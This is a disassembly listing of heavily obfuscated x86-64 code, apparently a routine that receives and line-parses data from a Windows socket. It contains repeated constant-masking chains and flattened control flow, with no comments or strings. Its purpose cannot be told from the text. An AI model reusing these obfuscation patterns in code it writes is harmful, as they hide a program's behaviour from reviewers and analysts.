xor eax, 0xcbbf78f4
rol eax, 2
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x1baf7692
pushf
not eax
add eax, 0xddfb2a4d
xor eax, 0x99236ed3
rol eax, 0x49
popf
pushf
not eax
add eax, 0xf2aa62ec
xor eax, 0x8f5ce225
rol eax, 0x25
popf
pushf
not eax
add eax, 0xd9073c3f
xor eax, 0xe298df29
rol eax, 0x99
popf
jmp 0x1403034da
cmp ebx, 0x3ff
jge 0x1403063c2
push rax
pushf
mov eax, 0xa601c932
pushf
not eax
add eax, 0xf4512a3c
xor eax, 0xa3571769
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xbe651c3a
xor eax, 0xb623dae5
rol eax, 0x14
popf
pushf
not eax
add eax, 0x8d9014ee
xor eax, 0xac83ec41
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x9696174b
xor eax, 0xbe05546c
rol eax, 0x7c
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x291b8ed
pushf
not eax
add eax, 0x96ac1e40
xor eax, 0x8c5ab1ba
rol eax, 0xff
popf
pushf
not eax
add eax, 0xe20470ed
xor eax, 0xa3721e51
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xfa16d843
xor eax, 0xfeffa786
rol eax, 0x77
popf
pushf
not eax
add eax, 0xc990bced
xor eax, 0xfbb1fd39
rol eax, 0x8d
popf
jmp 0x1403034da
cmp byte [r14 - 1], 0xd
je 0x140306468
push rax
pushf
mov eax, 0xc526dba2
pushf
not eax
add eax, 0xa2e9f223
xor eax, 0xbc84784f
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x99ffdbd2
xor eax, 0x80d81b1c
rol eax, 0x52
popf
pushf
not eax
add eax, 0xa0bd50b4
xor eax, 0xb069d76e
rol eax, 0xee
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x39913a0e
pushf
not eax
add eax, 0xc87b77a9
xor eax, 0xae99a077
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xa25fc664
xor eax, 0xbe82915e
rol eax, 0x82
popf
pushf
not eax
add eax, 0xb6ee7461
xor eax, 0x8f14f704
rol eax, 0x46
popf
pushf
not eax
add eax, 0x8bb74694
xor eax, 0xce680ad5
rol eax, 0xb1
popf
jmp 0x1403034da
cmp byte [r14], 0xa
je 0x140306520
push rax
pushf
mov eax, 0x5e986a0a
pushf
not eax
add eax, 0xcc9711c4
xor eax, 0xeea156ad
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xc44e8446
xor eax, 0xf3dca5ff
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xf5280f4b
xor eax, 0x8f1ea814
rol eax, 0xee
popf
pushf
not eax
add eax, 0xe22ca46d
xor eax, 0x9343194d
rol eax, 0x3a
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x1fedd3a
pushf
not eax
add eax, 0x9b5ffa4f
xor eax, 0xe04b2405
rol eax, 0x18
popf
pushf
not eax
add eax, 0xb57c3401
xor eax, 0xaaf0548b
rol eax, 0x25
popf
pushf
not eax
add eax, 0xb6d9e343
xor eax, 0xd86e39e7
rol eax, 0x81
popf
jmp 0x1403034da
movsxd rax, ebx
lea rdx, [rbp - 0x50]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
xor r9d, r9d
mov r8d, 0xa0eef477
pushf
not r8d
add r8d, 0x96c9d871
xor r8d, 0xc64a7dce
rol r8d, 0xca
popf
pushf
not r8d
add r8d, 0xdee45778
xor r8d, 0x9c6b7aab
rol r8d, 0x9f
popf
mov rcx, rsi
jmp 0x1403065b8
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x14030661f
push rax
pushf
mov eax, 0x715fdc24
pushf
not eax
add eax, 0xc445c48f
xor eax, 0xe01dabc9
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x9b22512c
xor eax, 0x951d0b17
rol eax, 0x75
popf
pushf
not eax
add eax, 0xc5a101c1
xor eax, 0xc25923df
rol eax, 0x36
popf
pushf
not eax
add eax, 0xda64737e
xor eax, 0xa9d9fc95
rol eax, 0xb9
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xceb5b25c
pushf
not eax
add eax, 0xd2a19049
xor eax, 0xf03feaf6
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xe6d3f296
xor eax, 0xa7d0d636
rol eax, 0x91
popf
pushf
not eax
add eax, 0xe2fe4f52
xor eax, 0xe8d92ec5
rol eax, 0x6a
popf
jmp 0x1403034da
inc ebx
inc r14
jmp 0x1403062e3
movsxd rax, ebx
mov byte [rbp + rax - 0x50], r12b
cmp ebx, 0x3ff
jne 0x14030670c
push rax
pushf
mov eax, 0x72a1cc0c
pushf
not eax
add eax, 0xbef006ae
xor eax, 0xfe2c0eb9
rol eax, 0xe
popf
pushf
not eax
add eax, 0xe3dd437b
xor eax, 0xdfe9bbc1
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xf921c621
xor eax, 0xfff7e4db
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xb2f193b8
xor eax, 0x9b70b264
rol eax, 0xc3
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xa511d5b2
pushf
not eax
add eax, 0xad6b37b9
xor eax, 0xdc75438c
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xb4c94993
xor eax, 0xe09fa808
rol eax, 0x95
popf
jmp 0x1403034da
cmp qword [rdi + 0x18], 0xf
jbe 0x14030679f
push rax
pushf
mov eax, 0x93cedd0f
pushf
not eax
add eax, 0xd005d362
xor eax, 0xd631b8e9
rol eax, 0x94
popf
pushf
not eax
add eax, 0x868df048
xor eax, 0x928db09f
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xd7b28caa
xor eax, 0xe0034af8
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xca715f74
xor eax, 0xf3e07697
rol eax, 0xbf
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x74bc3738
pushf
not eax
add eax, 0x87837086
xor eax, 0xe0bf4868
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x9e781745
xor eax, 0x83df8db3
rol eax, 0xf
popf
pushf
not eax
add eax, 0xa74419e0
xor eax, 0xbdc6148f
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x81d383c7
xor eax, 0xda2f300e
rol eax, 0xb3
popf
jmp 0x1403034da
mov rdi, qword [rdi]
push rax
pushf
mov eax, 0x18398905
pushf
not eax
add eax, 0xd2d9ef0c
xor eax, 0x8ef9c287
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xd8a6a6e6
xor eax, 0x8b903cf9
rol eax, 0x1e
popf
jmp 0x1403034da
mov ecx, 0x742b85c2
pushf
not ecx
add ecx, 0xf7e58371
xor ecx, 0xcd25d5b4
rol ecx, 0x3a
popf
pushf
not ecx
add ecx, 0x8969e1c8
xor ecx, 0xaed6a53b
rol ecx, 0x8a
popf
pushf
not ecx
add ecx, 0xe12a8df2
xor ecx, 0xfbda1bb6
rol ecx, 0x48
popf
call fcn.1401cba75
mov r8, rdi
lea rdx, [0x1b9ada27a]
pushf
sub rdx, 0x79a47e02
popf
mov rcx, rax
call fcn.14014868a
jmp 0x14030728b
lea r8, [rbp + 0x7f0]
lea rdx, [0x18dae6dfd]
pushf
sub rdx, 0x4da5494d
popf
lea rcx, [rbp - 0x50]
call fcn.1401f330a
cmp eax, 1
jne 0x140306963
push rax
pushf
mov eax, 0xa61ad7a5
pushf
not eax
add eax, 0xfed5e37d
xor eax, 0x991777ba
rol eax, 0xba
popf
pushf
not eax
add eax, 0xcbfb8121
xor eax, 0xb073fc05
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x82afd5d0
xor eax, 0xf0310925
rol eax, 0xaf
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xad3eb891
pushf
not eax
add eax, 0xd4c24b3d
xor eax, 0xb73acac5
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xe03880ae
xor eax, 0x9ce1f337
rol eax, 0x59
popf
pushf
not eax
add eax, 0xb07ecb56
xor eax, 0xa47cf7b6
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x96fc0737
xor eax, 0xfc591c51
rol eax, 0xe3
popf
jmp 0x1403034da
cmp dword [rbp + 0x7f0], 0x65
jne 0x140306a0f
push rax
pushf
mov eax, 0x435f4413
pushf
not eax
add eax, 0xfb3ee51e
xor eax, 0xde172446
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xcf85b3da
xor eax, 0xd8090b6d
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xb8d63cf9
xor eax, 0xea942e34
rol eax, 0x5e
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x30af70bc
pushf
not eax
add eax, 0xe0540035
xor eax, 0xb5e2115f
rol eax, 0x22
popf
pushf
not eax
add eax, 0x98dfab39
xor eax, 0x95c5329c
rol eax, 7
popf
jmp 0x1403034da
lea r14, [rbp - 0x50]
nop dword [rax]
push rax
pushf
mov eax, 0x8134e504
pushf
not eax
add eax, 0xf523f013
xor eax, 0xa8adc7b4
rol eax, 0x44
popf
pushf
not eax
add eax, 0xda82a24e
xor eax, 0xa655d689
rol eax, 0xe1
popf
jmp 0x1403034da
mov ebx, r12d
lea rdi, [r14 - 1]
push rax
pushf
mov eax, 0xd973307c
pushf
not eax
add eax, 0x8f0058ab
xor eax, 0xc16e0731
rol eax, 0x26
popf
pushf
not eax
add eax, 0xf361085c
xor eax, 0xc3739e35
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xd85362c7
xor eax, 0xa6e425eb
rol eax, 0x67
popf
jmp 0x1403034da
cmp ebx, 2
jl 0x140306c54
cmp ebx, 0x3ff
jge 0x140306b37
push rax
pushf
mov eax, 0xdddb4cc3
pushf
not eax
add eax, 0xb3acb775
xor eax, 0xac8be630
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xd9b5a001
xor eax, 0xd3bd1aec
rol eax, 0x93
popf
pushf
not eax
add eax, 0x86fbe29d
xor eax, 0xb77b2c1a
rol eax, 0xed
popf
pushf
not eax
add eax, 0xf65a80a0
xor eax, 0xa4bb75f3
rol eax, 0xa9
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x1298a36b
pushf
not eax
add eax, 0xa7a818da
xor eax, 0xba1022c7
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xfb994a89
xor eax, 0xa93b7faf
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xedd51af7
xor eax, 0xe19bc5e8
rol eax, 0x6e
popf
jmp 0x1403034da
cmp byte [rdi - 1], 0xd
je 0x140306bb6
push rax
pushf
mov eax, 0xc3f03277
pushf
not eax
add eax, 0x82fa158a
xor eax, 0x924a4f55
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xdfcb3039
xor eax, 0xd66112d3
rol eax, 0x84
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x66eb93fb
pushf
not eax
add eax, 0xa585d345
xor eax, 0xa7e741cd
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xbd17d8a8
xor eax, 0xc2b1e2ac
rol eax, 0x46
popf
jmp 0x1403034da
cmp byte [rdi], 0xa
je 0x140306c21
push rax
pushf
mov eax, 0x2029813a
pushf
not eax
add eax, 0xabe57aef
xor eax, 0xb1c12e26
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x81743788
xor eax, 0xd5ab1a48
rol eax, 0xc5
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xefcb6e6e
pushf
not eax
add eax, 0xd6d5d7ae
xor eax, 0xcc353415
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xdf3e16ce
xor eax, 0x88bfe879
rol eax, 0xb7
popf
jmp 0x1403034da
movsxd rax, ebx
lea rdx, [rbp - 0x50]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
xor r9d, r9d
mov r8d, 0x2c8c3aa8
pushf
not r8d
add r8d, 0xb4a293d8
xor r8d, 0x808ca533
rol r8d, 0xe4
popf
pushf
not r8d
add r8d, 0xb0d5c723
xor r8d, 0xfa87f6da
rol r8d, 0x70
popf
pushf
not r8d
add r8d, 0xe30f5b00
xor r8d, 0x86887cc3
rol r8d, 0xf7
popf
pushf
not r8d
add r8d, 0x9f3b0a77
xor r8d, 0xd0861976
rol r8d, 0x77
popf
mov rcx, rsi
jmp 0x140306cd8
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140306d3f
push rax
pushf
mov eax, 0x2e55eae3
pushf
not eax
add eax, 0xeab826ab
xor eax, 0xff2ba3c5
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xb4f486cf
xor eax, 0xefffed2c
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xee0a6b48
xor eax, 0xa3aab414
rol eax, 5
popf
pushf
not eax
add eax, 0xff4a5247
xor eax, 0xed7ebeb5
rol eax, 0x63
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x32a8a235
pushf
not eax
add eax, 0xda584f75
xor eax, 0xe10a4ba7
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xb3586766
xor eax, 0x98e0fa80
rol eax, 0x54
popf
pushf
not eax
add eax, 0xdc9cef5f
xor eax, 0xa996d4f3
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xd9079aa2
xor eax, 0xecf3adb9
rol eax, 0x1b
popf
jmp 0x1403034da
inc ebx
inc rdi
jmp 0x140306acd
cmp byte [rbp - 0x50], 0xd
jne 0x140306e35
push rax
pushf
mov eax, 0x809d261
pushf
not eax
add eax, 0x98a98441
xor eax, 0xd85185e1
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x9c289b6a
xor eax, 0xb79bb890
rol eax, 0xff
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xe5af3869
pushf
not eax
add eax, 0xafae5779
xor eax, 0xaf5596c2
rol eax, 0x21
popf
pushf
not eax
add eax, 0xe61b2376
xor eax, 0x96ef7698
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xa0c24f9c
xor eax, 0xc3bf6e24
rol eax, 0x31
popf
pushf
not eax
add eax, 0xa0dbc408
xor eax, 0xfef47b46
rol eax, 0xab
popf
jmp 0x1403034da
cmp byte [rbp - 0x4f], 0xa
jne 0x140306eed
push rax
pushf
mov eax, 0x511134d9
pushf
not eax
add eax, 0xb8f855cb
xor eax, 0xd4f2644c
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xce928783
xor eax, 0xd7807363
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xc9e35d36
xor eax, 0xaddfc60f
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xad4eac2b
xor eax, 0xf6b06af2
rol eax, 0xeb
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xc0034d1
pushf
not eax
add eax, 0x901c23db
xor eax, 0xc35499af
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xfed51a5e
xor eax, 0xcd02268c
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xb871a268
xor eax, 0xd1c945b3
rol eax, 0x81
popf
jmp 0x1403034da
lea r9, [rbp + 0x808]
mov dword [rbp + 0x808], 1
mov edx, 0xb340698a
pushf
not edx
add edx, 0xfa9c6d43
xor edx, 0xae57fe98
rol edx, 0xc7
popf
pushf
not edx
add edx, 0xff5ed047
xor edx, 0xc43a3ba3
rol edx, 0xbc
popf
pushf
not edx
add edx, 0xae583679
xor edx, 0xbf798c4b
rol edx, 0xf3
popf
pushf
not edx
add edx, 0xc513402b
xor edx, 0xf141d652
rol edx, 0xb8
popf
mov dword [rsp + 0x20], 4
mov r8d, 0x829e0588
pushf
not r8d
add r8d, 0x991809de
xor r8d, 0xa9dc63e8
rol r8d, 0xa1
popf
pushf
not r8d
add r8d, 0x867015f2
xor r8d, 0x87234676
rol r8d, 0x41
popf
mov rcx, rsi
jmp 0x140306fe1
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x40], 1
mov edx, 0xfcdeefc8
pushf
not edx
add edx, 0xeef2d2a9
xor edx, 0xbee0580e
rol edx, 0xe8
popf
pushf
not edx
add edx, 0x9273e966
xor edx, 0x945b762f
rol edx, 0x8c
popf
pushf
not edx
add edx, 0xf1c03dd4
xor edx, 0xfd6e09b3
rol edx, 0x72
popf
pushf
not edx
add edx, 0x950fb614
xor edx, 0xdd16a111
rol edx, 0x6a
popf
mov rcx, rsi
jmp 0x140307051
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov ecx, 0x8048b962
pushf
not ecx
add ecx, 0xa268db1b
xor ecx, 0xae3118f9
rol ecx, 0xe6
popf
pushf
not ecx
add ecx, 0xa6233b23
xor ecx, 0xa1d48abf
rol ecx, 0x18
popf
call fcn.1400cc123
mov qword [rbp + 0x7f0], rax
lea rcx, [0x192c3e6b5]
pushf
sub rcx, 0x52bac155
popf
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], r12
mov qword [rax + 0x28], r12
mov qword [rax + 0x30], r12
mov qword [rax + 0x38], r12
mov qword [rax + 0x40], r12
mov qword [rax + 0x48], r12
mov qword [rax + 0x50], rsi
mov dword [rax + 0x58], 3
mov word [rax + 0x5c], 1
jmp 0x1403072e6
cmp qword [rdi + 0x18], 0xf
jbe 0x14030714e
push rax
pushf
mov eax, 0x4952c606
pushf
not eax
add eax, 0xe9b93bc0
xor eax, 0xc857a5ef
rol eax, 0x87
popf
pushf
not eax
add eax, 0xba41e386
xor eax, 0xa159b8ed
rol eax, 0x9f
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x4bcbb8f5
pushf
not eax
add eax, 0xabd59b40
xor eax, 0xd6ffd225
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x8311c78e
xor eax, 0xe476e1b1
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xcab6ce18
xor eax, 0xdb2cf733
rol eax, 0x66
popf
pushf
not eax
add eax, 0xb5b3f10f
xor eax, 0xe2871502
rol eax, 0xed
popf
jmp 0x1403034da
mov rdi, qword [rdi]
push rax
pushf
mov eax, 0x2b14f021
pushf
not eax
add eax, 0xdfca25d7
xor eax, 0xc2419b34
rol eax, 0x42
popf
pushf
not eax
add eax, 0xc2387544
xor eax, 0xa9d074dc
rol eax, 0x81
popf
pushf
not eax
add eax, 0xd13eb409
xor eax, 0xc61c50d9
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xfe6eca64
xor eax, 0xdef1d60d
rol eax, 2
popf
jmp 0x1403034da
mov ecx, 0xba49d2e1
pushf
not ecx
add ecx, 0xe4a250ba
xor ecx, 0xa9bf5671
rol ecx, 0xd1
popf
pushf
not ecx
add ecx, 0xe2b2e28c
xor ecx, 0xab5fdabd
rol ecx, 0xe4
popf
call fcn.1401cba75
lea r9, [rbp - 0x50]
mov r8, rdi
lea rdx, [0x18d1f86f5]
pushf
sub rdx, 0x4d166235
popf
mov rcx, rax
call fcn.14014868a
push rax
pushf
mov eax, 0xd946e222
pushf
not eax
add eax, 0xa83ba311
xor eax, 0xe3f6808f
rol eax, 0x69
popf
pushf
not eax
add eax, 0xc25fcf90
xor eax, 0xb1df0d35
rol eax, 0xb
popf
jmp 0x1403034da
xor eax, eax
push rax
pushf
mov eax, 0xef0deac5
pushf
not eax
add eax, 0xaf64ba79
xor eax, 0xf738b535
rol eax, 0x60
popf
pushf
not eax
add eax, 0xec0b5254
xor eax, 0xbb63b984
rol eax, 0xca
popf
pushf
not eax
add eax, 0xb8fc50e0
xor eax, 0x9159e953
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xc05b3adc
xor eax, 0xc6c62b69
rol eax, 0xdc
popf
jmp 0x1403034da
mov r12, qword [rsp + 0x8b8]
mov r14, qword [rsp + 0x8b0]
mov rbx, qword [rsp + 0x8c8]
mov rsi, qword [rsp + 0x8c0]
add rsp, 0x8d0
pop r15
pop rdi
pop rbp
ret
call fcn.140167aab
int3